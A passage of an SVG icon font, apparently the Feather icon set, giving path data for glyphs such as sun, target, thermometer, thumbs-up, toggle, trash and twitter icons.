-16.8314l121.899 -246.741l272.64 -39.808q15.1143 -2.19135 25.811 -14.551q10.6968 -12.3597 10.6968 -27.632q0 -17.9742 -12.8705 -30.5211 l-197.248 -191.915l46.5067 -271.147q0.600647 -3.54195 0.600647 -7.13411q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-10.5 0 -19.8007 4.87277l-243.84 128.085l-243.84 -128.085q-9.30072 -4.87277 -19.8007 -4.87277q-17.664 0 -30.1653 12.5013 t-12.5013 30.1653q0 3.59226 0.600662 7.13411l46.5067 271.147l-197.248 191.915q-12.8761 12.5476 -12.8761 30.5265q0 15.2587 10.6859 27.6167t25.7848 14.5608l272.64 39.808z" /> <glyph glyph-name="stop-circle" unicode="" d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694 q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06 q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM426.667 469.333v-170.667h170.667 v170.667h-170.667zM384 554.667h256q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-256q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-256v0q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v256q0 17.664 12.5013 30.1653t30.1653 12.5013z" /> <glyph glyph-name="sun" unicode="" d="M512 128q-106 0 -181 75t-75 181t75 181t181 75t181 -75t75 -181t-75 -181t-181 -75zM512 213.333q70.6561 0 120.661 50.0053q50.0053 50.0053 50.0053 120.661t-50.0053 120.661q-50.0054 50.0053 -120.661 50.0053t-120.661 -50.0053 q-50.0053 -50.0053 -50.0053 -120.661t50.0053 -120.661q50.0053 -50.0053 120.661 -50.0053zM469.333 853.333v-85.3333q0 -17.6641 12.5013 -30.1654t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v85.3333q0 17.664 -12.5013 30.1653t-30.1653 12.5013 t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1652zM469.333 0v-85.3333q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v85.3333q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013 q-12.5013 -12.5013 -12.5013 -30.1653zM149.888 685.781l60.5867 -60.5867q12.4007 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2404 -11.977 29.6411l-60.5867 60.5867q-12.4007 11.9771 -29.641 11.9771q-17.664 0 -30.1653 -12.5013 t-12.5013 -30.1653q0 -17.2403 11.977 -29.6412zM753.195 82.4747l60.5867 -60.5867q12.4008 -11.977 29.6411 -11.977q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653q0 17.2404 -11.977 29.641l-60.5867 60.5867q-12.4007 11.977 -29.641 11.977 q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.9769 -29.641zM42.6667 341.333h85.3333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-85.3333q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653 t12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013zM896 341.333h85.3333q17.6641 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-85.3333q-17.6639 0 -30.1653 -12.5013t-12.5014 -30.1653t12.5013 -30.1653t30.1654 -12.5013 zM210.219 21.888l60.5867 60.5867q11.977 12.4007 11.977 29.641q0 17.664 -12.5013 30.1653q-12.5013 12.5013 -30.1653 12.5013q-17.2402 0 -29.641 -11.977l-60.5867 -60.5867q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653 q12.5013 -12.5013 30.1653 -12.5013q17.2403 0 29.641 11.977zM813.525 625.195l60.5867 60.5867q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.1091 0 -30.6896 -13.0256l-60.5867 -60.5867q-13.0256 -12.5806 -13.0256 -30.6896 q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q18.109 0 30.6896 13.0256z" /> <glyph glyph-name="sunrise" unicode="" d="M768 128q0 106 -75 181t-181 75t-181 -75t-75 -181q0.00268555 -17.6613 12.504 -30.1607t30.1626 -12.4994t30.1626 12.4994t12.5041 30.1607q0 70.656 50.0053 120.661q50.0053 50.0053 120.661 50.0053q70.6561 0 120.661 -50.0053q50.0053 -50.0053 50.0053 -120.661 q0.00268555 -17.6613 12.504 -30.1607t30.1627 -12.4994q17.6613 0 30.1626 12.4994t12.5048 30.1607zM469.333 810.667v-298.667q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v298.667q0 17.664 -12.5013 30.1653t-30.1653 12.5013 t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653zM149.888 429.781l60.5867 -60.5867q12.5806 -13.0257 30.6897 -13.0257q17.664 0 30.1653 12.5013t12.5013 30.1653q0 18.1091 -13.0257 30.6897l-60.5867 60.5867q-12.5806 13.0256 -30.6896 13.0256 q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -18.1091 13.0256 -30.6896zM42.6667 85.3333h85.3333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-85.3333q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653 t12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013zM896 85.3333h85.3333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-85.3333q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013zM813.525 369.195 l60.5867 60.5867q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5014 30.1653q-12.5013 12.5013 -30.1653 12.5013q-18.1091 0 -30.6896 -13.0256l-60.5867 -60.5867q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013 q17.2403 0 29.6411 11.977zM981.333 0h-938.667q-17.6613 -0.00270382 -30.1607 -12.504q-12.4994 -12.5013 -12.4994 -30.1626q0 -17.6613 12.4994 -30.1626q12.4994 -12.5013 30.1607 -12.504h938.667q17.6613 0.00270081 30.1607 12.504q12.4995 12.5013 12.4995 30.1626 t-12.4995 30.1626q-12.4994 12.5013 -30.1607 12.5041v-0.00010029zM652.501 609.835q12.4007 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2404 -11.977 29.6411l-170.667 170.667q-12.496 12.4922 -30.1653 12.4922 q-17.6693 0 -30.1653 -12.4922l-170.667 -170.667q-11.977 -12.4008 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.641 11.977l140.501 140.501z" /> <glyph glyph-name="tablet" unicode="" d="M810.667 42.24v683.52q-0.122375 17.4354 -12.5486 29.8116q-12.4263 12.3762 -29.862 12.4283h-512.512h-0.000350952q-17.4875 0 -29.9137 -12.3763t-12.4966 -29.8636v-683.52q0 -17.3573 12.476 -29.7986t29.9347 -12.4414h512.512l0.000366211 -1.39062e-09 q17.4875 0 29.9137 12.3763q12.4263 12.3763 12.4965 29.8637zM896 42.24q-0.0705566 -52.8154 -37.4995 -90.1944q-37.429 -37.379 -90.2445 -37.3789h-512.512q-52.7628 0.0526733 -90.1918 37.4317q-37.429 37.379 -37.5522 90.1417v683.52 q0.0705566 52.8154 37.4995 90.1944q37.429 37.379 90.2445 37.3789h512.512q52.7628 -0.0526123 90.1918 -37.4316t37.5522 -90.1417zM512 128zM469.333 128q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653 t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653z" /> <glyph glyph-name="tag" unicode="" d="M841.813 417.536l-351.147 351.147h-363.349v-363.349l351.147 -350.72q12.4008 -12.4203 29.952 -12.4203q17.5511 0 29.952 12.4203l303.36 303.36q12.3105 12.3715 12.3105 29.8243q0 17.382 -12.2255 29.7377zM901.76 298.283l-303.531 -303.488 q-15.4002 -15.4171 -41.7218 -26.3283q-26.3217 -10.9112 -48.1129 -10.9112q-21.7766 0 -48.0857 10.8987q-26.3091 10.8987 -41.7064 26.2982l-363.52 363.093q-12.416 12.4001 -12.416 29.9478l2.67029e-05 0.0469055v423.253q0 17.454 12.4016 29.847t29.9237 12.393 h423.211q17.4692 0 29.9093 -12.3734l363.648 -363.648q15.2851 -15.3774 26.1027 -41.6052q10.8176 -26.2278 10.8176 -47.9095q0 -21.6817 -10.8176 -47.9095q-10.8176 -26.2278 -26.1025 -41.6046zM298.667 597.333zM256 597.333v-0.00653076 q0 -17.6639 12.5013 -30.1653t30.1653 -12.5014t30.1653 12.5014q12.5013 12.5013 12.5013 30.1653v0.00653076v0.00653076q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653v-0.00653076z" /> <glyph glyph-name="sunset" unicode="" d="M768 128q0 106 -75 181t-181 75t-181 -75t-75 -181q0.00268555 -17.6613 12.504 -30.1607t30.1626 -12.4994t30.1626 12.4994t12.5041 30.1607q0 70.656 50.0053 120.661q50.0053 50.0053 120.661 50.0053q70.6561 0 120.661 -50.0053q50.0053 -50.0053 50.0053 -120.661 q0.00268555 -17.6613 12.504 -30.1607t30.1627 -12.4994q17.6613 0 30.1626 12.4994t12.5048 30.1607zM554.667 512v298.667q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653v-298.667q0 -17.664 12.5013 -30.1653t30.1653 -12.5013 t30.1653 12.5013t12.5013 30.1653zM149.888 429.781l60.5867 -60.5867q12.5806 -13.0257 30.6897 -13.0257q17.664 0 30.1653 12.5013t12.5013 30.1653q0 18.1091 -13.0257 30.6897l-60.5867 60.5867q-12.5806 13.0256 -30.6896 13.0256q-17.664 0 -30.1653 -12.5013 t-12.5013 -30.1653q0 -18.1091 13.0256 -30.6896zM42.6667 85.3333h85.3333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-85.3333q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653t12.5013 -30.1653 q12.5013 -12.5013 30.1653 -12.5013zM896 85.3333h85.3333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-85.3333q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013zM813.525 369.195l60.5867 60.5867 q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5014 30.1653q-12.5013 12.5013 -30.1653 12.5013q-18.1091 0 -30.6896 -13.0256l-60.5867 -60.5867q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.6411 11.977zM981.333 0 h-938.667q-17.6613 -0.00270382 -30.1607 -12.504q-12.4994 -12.5013 -12.4994 -30.1626q0 -17.6613 12.4994 -30.1626q12.4994 -12.5013 30.1607 -12.504h938.667q17.6613 0.00270081 30.1607 12.504q12.4995 12.5013 12.4995 30.1626t-12.4995 30.1626 q-12.4994 12.5013 -30.1607 12.5041v-0.00010029zM371.499 712.832q-12.4007 11.9771 -29.641 11.9771q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.9771 -29.6411l170.667 -170.667q12.4961 -12.4922 30.1653 -12.4922q17.6693 0 30.1653 12.4922 l170.667 170.667q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.109 0 -30.6896 -13.0256l-140.501 -140.501z" /> <glyph glyph-name="target" unicode="" d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694 q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06 q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM512 85.3333 q-123.648 0 -211.157 87.5093q-87.5093 87.5093 -87.5093 211.157q0 123.648 87.5093 211.157q87.5093 87.5093 211.157 87.5093q123.648 0 211.157 -87.5093t87.5093 -211.157q0 -123.648 -87.5093 -211.157t-211.157 -87.5093zM512 170.667q88.32 0 150.827 62.5067 q62.5067 62.5067 62.5067 150.827t-62.5067 150.827t-150.827 62.5067t-150.827 -62.5067q-62.5067 -62.5067 -62.5067 -150.827t62.5067 -150.827q62.5067 -62.5067 150.827 -62.5067zM512 256q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5 t-37.5 -90.5t-90.5 -37.5zM512 341.333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653t12.5013 -30.1654q12.5013 -12.5013 30.1653 -12.5012z" /> <glyph glyph-name="thermometer" unicode="" d="M715.216 38.5064q-20.9231 -68.9332 -86.7148 -117.719q-65.7917 -48.7858 -137.83 -48.7861q-97.1496 0 -165.905 68.7556t-68.7556 165.905q0 45.7955 25.0009 98.8319t60.3264 82.1798v458.997q0 61.8224 43.7536 105.576t105.576 43.7536t105.576 -43.7536 t43.7536 -105.576v-459.039q35.3282 -29.1434 60.3309 -82.1814q25.0027 -53.0379 25.0027 -98.8355q0 -34.8257 -10.1141 -68.1504zM554.666 266.255v480.415q0 26.4954 -18.7515 45.2469t-45.2469 18.7515t-45.2469 -18.7515q-18.7516 -18.7515 -18.7516 -45.2469 v-480.415q-0.0017395 -9.43347 -5.55215 -19.8218t-13.3914 -15.6333q-27.4845 -18.3578 -46.9361 -54.7417t-19.4516 -69.4355q0 -61.8225 43.7536 -105.576t105.576 -43.7536q61.8225 0 105.576 43.7536q43.7535 43.7536 43.7536 105.576q0 33.0516 -19.4515 69.4355 q-19.4516 36.3839 -46.9362 54.7417q-7.84088 5.24501 -13.3914 15.6334t-5.55194 19.8217z" /> <glyph glyph-name="thumbs-up" unicode="" d="M850.005 554.667q0.814636 0.0102539 1.63867 0.0102539q24.3452 0 53.0056 -12.8918q28.6603 -12.8918 44.8118 -31.1077q39.4445 -44.762 30.3787 -103.253l-59.7333 -383.957q-7.25677 -47.3129 -44.191 -78.3287q-36.9341 -31.0158 -85.1744 -30.4713h-488.32 q-17.9221 0 -30.6144 12.5023q-12.6923 12.5023 -12.6923 30.1643v469.333q0 9.0365 3.75467 17.3227l173.141 384q11.4435 25.344 39.552 25.344q71.7484 0 122.466 -49.9755q50.7178 -49.9755 50.7178 -120.691v-128zM791.211 2.00117e-05 q0.371338 -0.00640364 0.742859 -0.00640364q15.2397 0 27.7108 10.653t14.853 25.7054l59.7333 383.915q0.488342 3.18338 0.488342 6.40451q0 16 -10.6003 27.9848q-13.0828 14.6868 -32.7516 14.6868q-0.457092 0 -0.912415 -0.00949097h-245.035 q-17.918 0 -30.591 12.5004q-12.673 12.5003 -12.673 30.1663v170.667q0 28.2363 -16.8722 50.6148q-16.8723 22.3786 -43.4158 30.7079l-156.16 -346.368v-417.621h445.483zM259.157 384h-86.6133q-17.9221 0 -30.6144 -12.5023q-12.6923 -12.5023 -12.6923 -30.1643 v-298.667q0 -17.662 12.6923 -30.1643q12.6923 -12.5023 30.6144 -12.5023h86.6133v384zM302.421 -85.3333h-129.877q-53.7942 -2.28882e-05 -91.8358 37.4891q-38.0416 37.4891 -38.0416 90.5109v298.667q0 53.0218 38.0416 90.5109q38.0416 37.4891 91.8358 37.4891 h129.877q17.918 0 30.591 -12.5003t12.673 -30.1663v-469.333q0 -17.666 -12.673 -30.1663t-30.591 -12.5011z" /> <glyph glyph-name="thumbs-down" unicode="" d="M173.483 213.333q-0.797348 -0.00978088 -1.59502 -0.00978088q-24.2059 0 -52.7041 12.8167t-44.5595 30.9264q-13.2268 14.9358 -22.5877 39.626t-9.36097 44.6408q0 9.74219 1.4847 19.3705l59.8187 383.915q7.11898 45.0119 44.4095 76.8682 q37.2905 31.8562 82.8619 31.8562l1.58194 -0.00970459h489.088q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-469.333l6.10352e-05 -0.0770569q0 -9.15347 -3.7547 -17.5016l-173.44 -384q-4.69531 -10.3843 -16.084 -17.7351t-22.7853 -7.3529 q-71.5084 0 -122.133 49.9512q-50.6245 49.9512 -50.6245 120.715v128h-202.24zM232.363 768q-0.509644 0.0120239 -1.02438 0.0120239q-15.2996 0 -27.9133 -10.6796q-12.6137 -10.6797 -15.137 -25.7697l-59.8187 -383.957q-0.474289 -3.1188 -0.474289 -6.27356 q0 -15.9047 10.5863 -27.7744q13.3761 -15.1326 34.432 -14.9333h245.376v0q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-170.667q0 -28.3706 17.2418 -50.8547q17.2418 -22.4841 44.3263 -30.6386l156.587 346.709v417.493zM764.544 384h73.8134 q0.824402 -0.0237427 1.64661 -0.0237427q19.4051 0 35.812 13.4709t20.1841 32.5049v291.968q-3.70215 20.2166 -20.1331 33.3019q-16.431 13.0853 -38.1922 12.7354h-73.088v-384zM721.877 853.333h115.029q54.2548 0.896851 95.4825 -34.0545t48.5175 -88.1855 l0.426636 -5.76001v-298.667l-0.426636 -5.84534q-7.16968 -50.5812 -48.3995 -86.3791q-41.2299 -35.7979 -92.3167 -35.7979q-1.25671 0 -2.51587 0.0222473h-115.755q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v469.333q0 17.664 12.5013 30.1653t30.1653 12.5013z " /> <glyph glyph-name="toggle-left" unicode="" d="M85.3333 384q0 -105.895 74.9315 -180.948q74.9315 -75.0524 180.684 -75.0524h342.101q105.825 0.0705719 180.721 75.0161q74.8955 74.9455 74.8955 180.771l-6.10352e-05 0.213379q0 105.895 -74.9315 180.948q-74.9315 75.0524 -180.685 75.0524h-342.144 q-105.807 -0.0882568 -180.69 -75.0337q-74.883 -74.9455 -74.883 -180.753zM2.87646e-06 384q0 92.72 45.6181 171.347q45.6181 78.6271 124.159 124.307q78.5411 45.6795 171.172 45.6795h342.101q92.5566 0 171.111 -45.7243q78.5541 -45.7244 124.196 -124.359 q45.6423 -78.6349 45.6423 -171.25q0 -92.7199 -45.6182 -171.347q-45.6181 -78.6272 -124.159 -124.307q-78.5411 -45.6795 -171.172 -45.6795h-342.144q-92.5365 0 -171.081 45.724q-78.5443 45.724 -124.185 124.36q-45.6408 78.6361 -45.6408 171.249zM341.333 213.333 q-70.656 0 -120.661 50.0053q-50.0053 50.0053 -50.0053 120.661q0 70.656 50.0053 120.661q50.0053 50.0053 120.661 50.0053q70.656 0 120.661 -50.0053t50.0053 -120.661t-50.0053 -120.661q-50.0053 -50.0053 -120.661 -50.0053zM341.333 298.667 q35.328 0 60.3307 25.0027t25.0027 60.3307t-25.0027 60.3306q-25.0027 25.0027 -60.3307 25.0027t-60.3307 -25.0027t-25.0027 -60.3307t25.0027 -60.3307q25.0027 -25.0027 60.3307 -25.0026z" /> <glyph glyph-name="toggle-right" unicode="" d="M85.3333 384q0 -105.895 74.9315 -180.948q74.9315 -75.0524 180.684 -75.0524h342.101q105.825 0.0705719 180.721 75.0161q74.8955 74.9455 74.8955 180.771l-6.10352e-05 0.213379q0 105.895 -74.9315 180.948q-74.9315 75.0524 -180.685 75.0524h-342.144 q-105.807 -0.0882568 -180.69 -75.0337q-74.883 -74.9455 -74.883 -180.753zM2.87646e-06 384q0 92.72 45.6181 171.347q45.6181 78.6271 124.159 124.307q78.5411 45.6795 171.172 45.6795h342.101q92.5566 0 171.111 -45.7243q78.5541 -45.7244 124.196 -124.359 q45.6423 -78.6349 45.6423 -171.25q0 -92.7199 -45.6182 -171.347q-45.6181 -78.6272 -124.159 -124.307q-78.5411 -45.6795 -171.172 -45.6795h-342.144q-92.5365 0 -171.081 45.724q-78.5443 45.724 -124.185 124.36q-45.6408 78.6361 -45.6408 171.249zM682.667 213.333 q-70.656 0 -120.661 50.0054q-50.0054 50.0053 -50.0054 120.661t50.0054 120.661q50.0054 50.0054 120.661 50.0054q70.656 0 120.661 -50.0053q50.0054 -50.0053 50.0054 -120.661t-50.0054 -120.661q-50.0053 -50.0054 -120.661 -50.0054zM682.667 298.667 q35.3279 0 60.3306 25.0027q25.0027 25.0027 25.0027 60.3307t-25.0027 60.3306q-25.0027 25.0027 -60.3306 25.0027t-60.3306 -25.0027t-25.0027 -60.3307t25.0027 -60.3307t60.3306 -25.0026z" /> <glyph glyph-name="trash-" unicode="" d="M128 597.333h768q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.6639 -12.5014 30.1653q-12.5013 12.5013 -30.1653 12.5013h-768q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1654 -12.5013zM768 640v-597.333q0 -17.664 -12.5013 -30.1653 q-12.5013 -12.5013 -30.1653 -12.5013h-426.667q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v597.333v0.00653076q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653v-0.00653076v-597.333q0 -52.992 37.504 -90.496 q37.504 -37.504 90.496 -37.504h426.667q52.992 0 90.496 37.504q37.504 37.504 37.504 90.496v597.333q-0.00256348 17.6613 -12.504 30.1607t-30.1627 12.4995q-17.6613 0 -30.1626 -12.4995t-12.5043 -30.1607zM384 640v85.3333q0 17.6639 12.5013 30.1653 q12.5013 12.5013 30.1653 12.5013h170.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-85.3333q0.00274658 -17.6613 12.504 -30.1607q12.5013 -12.4995 30.1627 -12.4995q17.6613 0 30.1627 12.4994q12.5013 12.4995 12.504 30.1608v85.3333q0 52.9921 -37.504 90.496 t-90.496 37.504h-170.667q-52.992 0 -90.496 -37.504t-37.504 -90.496v-85.3333v-0.00653076q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653zM384 426.667v-256q0.00271606 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994 t30.1626 12.4994q12.5014 12.4994 12.5041 30.1607v256q-0.00265503 17.6613 -12.504 30.1607q-12.5014 12.4994 -30.1627 12.4994t-30.1627 -12.4994t-12.5039 -30.1607zM554.667 426.667v-256q0.00274658 -17.6613 12.5041 -30.1607q12.5013 -12.4994 30.1626 -12.4994 t30.1626 12.4994t12.504 30.1607v256q-0.00268555 17.6613 -12.504 30.1607q-12.5014 12.4994 -30.1627 12.4994t-30.1626 -12.4994t-12.504 -30.1607z" /> <glyph glyph-name="trash" unicode="" d="M128 597.333h768q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.6639 -12.5014 30.1653q-12.5013 12.5013 -30.1653 12.5013h-768q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1654 -12.5013zM768 640v-597.333q0 -17.664 -12.5013 -30.1653 q-12.5013 -12.5013 -30.1653 -12.5013h-426.667q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v597.333v0.00653076q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653v-0.00653076v-597.333q0 -52.992 37.504 -90.496 q37.504 -37.504 90.496 -37.504h426.667q52.992 0 90.496 37.504q37.504 37.504 37.504 90.496v597.333q-0.00256348 17.6613 -12.504 30.1607t-30.1627 12.4995q-17.6613 0 -30.1626 -12.4995t-12.5043 -30.1607zM384 640v85.3333q0 17.6639 12.5013 30.1653 q12.5013 12.5013 30.1653 12.5013h170.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-85.3333q0.00274658 -17.6613 12.504 -30.1607q12.5013 -12.4995 30.1627 -12.4995q17.6613 0 30.1627 12.4994q12.5013 12.4995 12.504 30.1608v85.3333q0 52.9921 -37.504 90.496 t-90.496 37.504h-170.667q-52.992 0 -90.496 -37.504t-37.504 -90.496v-85.3333v-0.00653076q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653z" /> <glyph glyph-name="trending-up" unicode="" d="M392.832 478.165q-12.496 12.4922 -30.1653 12.4922t-30.1653 -12.4922l-320 -320q-11.977 -12.4008 -11.977 -29.641q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013q17.2403 0 29.641 11.977l289.835 289.835l183.168 -183.168 q12.4959 -12.4922 30.1653 -12.4922q17.6693 0 30.1653 12.4922l405.333 405.333q13.0256 12.5806 13.0256 30.6896q0 17.6639 -12.5013 30.1653t-30.1653 12.5014q-18.1089 0 -30.6897 -13.0256l-375.168 -375.168zM938.667 384q0.00274658 -17.6613 12.5041 -30.1607 t30.1626 -12.4994t30.1626 12.4994q12.5013 12.4995 12.504 30.1607v256q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-256q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653q12.5014 -12.5013 30.1653 -12.5013h213.333z" /> <glyph glyph-name="trending-down" unicode="" d="M72.832 670.165q-12.4008 11.9772 -29.6412 11.9772q-17.664 0 -30.1654 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653q0 -17.2405 11.9772 -29.6412l320 -320q12.496 -12.4922 30.1653 -12.4922t30.1653 12.4922l183.168 183.168l375.168 -375.168 q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-405.333 405.333q-12.496 12.4922 -30.1653 12.4922t-30.1653 -12.4922l-183.168 -183.168zM725.333 170.667q-17.6639 0 -30.1653 -12.5013 q-12.5013 -12.5013 -12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h256q17.664 0 30.1653 12.5013t12.5013 30.1653v256q-0.00268555 17.6613 -12.504 30.1607q-12.5013 12.4994 -30.1627 12.4994q-17.6612 0 -30.1625 -12.4994t-12.5041 -30.1607v-213.333z" /> <glyph glyph-name="triangle" unicode="" d="M402.517 753.237q15.4867 25.547 47.5901 43.6274t61.9779 18.0804q29.8746 0 61.978 -18.0804t47.59 -43.6274l361.813 -603.904q17.1508 -29.7037 17.1508 -64.0034q0 -52.6043 -37.2286 -90.1073t-89.8315 -37.8893h-723.413q-52.4119 0.57373 -89.5054 38.0755 q-37.0935 37.5018 -37.0935 89.9168q0 34.6727 17.5003 64.605zM114.603 106.667q-5.72215 -9.90473 -5.72215 -21.3436q0 -17.2815 12.2277 -29.7799q12.2277 -12.4983 29.5051 -12.8766h722.475q17.471 0.190895 29.8358 12.6915q12.3647 12.5006 12.3647 29.9726 q0 11.0669 -5.37915 20.7385l-361.344 603.093q-5.15479 8.52069 -15.851 14.551t-20.6548 6.03027q-9.93143 0 -20.6125 -6.00531q-10.6811 -6.00531 -15.8416 -14.4906l-360.96 -602.581z" /> <glyph glyph-name="type" unicode="" d="M213.333 682.667h597.333v-85.3333q0.00274658 -17.6613 12.5041 -30.1608q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4995t12.504 30.1607v128q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-682.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-128 v-0.00653076q0 -17.6639 12.5013 -30.1653t30.1653 -12.5014t30.1653 12.5014q12.5013 12.5013 12.5013 30.1653v0.00653076zM384 0h256q17.6613 0.00270382 30.1607 12.5041q12.4995 12.5013 12.4995 30.1626q0 17.6613 -12.4995 30.1626 q-12.4995 12.5013 -30.1607 12.5041h-256q-17.6613 -0.00270081 -30.1607 -12.504q-12.4994 -12.5013 -12.4994 -30.1626t12.4994 -30.1626q12.4994 -12.5013 30.1607 -12.504v-0.000198074zM469.333 725.333v-682.667q0 -17.664 12.5013 -30.1653 q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v682.667q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653z" /> <glyph glyph-name="twitter" unicode="" d="M956.844 759.765q24.1596 17.0542 48.592 0.383972q24.4324 -16.6702 17.456 -45.44q-9.19702 -37.8303 -34.1371 -85.0854q-24.9402 -47.2551 -50.9828 -76.1946q0.914001 -9.80908 0.981323 -20.864q0 -123.669 -38.3765 -231.228t-103.883 -184.417 q-65.507 -76.8576 -155.686 -127.645t-190.511 -67.2469q-100.332 -16.4596 -211.85 3.53374q-111.518 19.9934 -216.429 78.3629q-18.7903 10.4368 